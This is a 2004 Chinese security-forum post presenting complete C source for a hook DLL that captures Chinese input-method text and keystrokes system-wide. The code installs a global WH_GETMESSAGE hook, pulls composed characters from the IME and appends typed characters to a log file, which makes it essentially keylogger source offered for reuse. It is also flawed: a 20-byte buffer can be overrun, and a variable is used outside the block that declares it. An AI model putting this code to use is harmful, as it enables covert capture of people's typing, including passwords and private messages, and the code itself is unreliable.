HOOK截获中文输入的方法

标题：关于HOOK截获中文输入
发信站：安全焦点（2004年12月10日13时58分49秒）

以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的.
后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说
WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息
时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等.
以下是源代码:

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE    g_hHinstance    = NULL;        //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{    
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
    PMSG pmsg = (PMSG)lParam;
    if (nCode == HC_ACTION)
    {
        
        switch (pmsg->message)
        {
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char ch;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //先获取当前正在输入的窗口的输入法句柄
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }

                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                    // 缓冲区大小要加上字符串的NULL结束符大小,
                    //   考虑到UNICODE
                    dwSize += sizeof(WCHAR);

                    memset(lpstr, 0, 20);

                    // 再调用一次.ImmGetCompositionString获取字符串
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                    //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                    MessageBox(NULL, lpstr, lpstr, MB_OK);
                    ImmReleaseContext(hWnd, hIMC);
                }
            }
            break;
        case WM_CHAR:  //截获发向焦点窗口的键盘消息
            {
                FILE* f1;
                f1=fopen("c://report.txt","a+");
                ch=(char)(pmsg->wParam);
                fwrite(&ch,1,1,f1);
                fclose(f1);    
            }
            break;
        }
    }

    return(lResult);
}

HOOK_API BOOL InstallHook()
{
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
    return TRUE;
}

HOOK_API BOOL UnHook()
{       
    return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_hHinstance=hModule;
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}

/////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY    HOOK

EXPORTS
    InstallHook
    UnHook


其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息,
一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子.
希望对大家有用. ^_^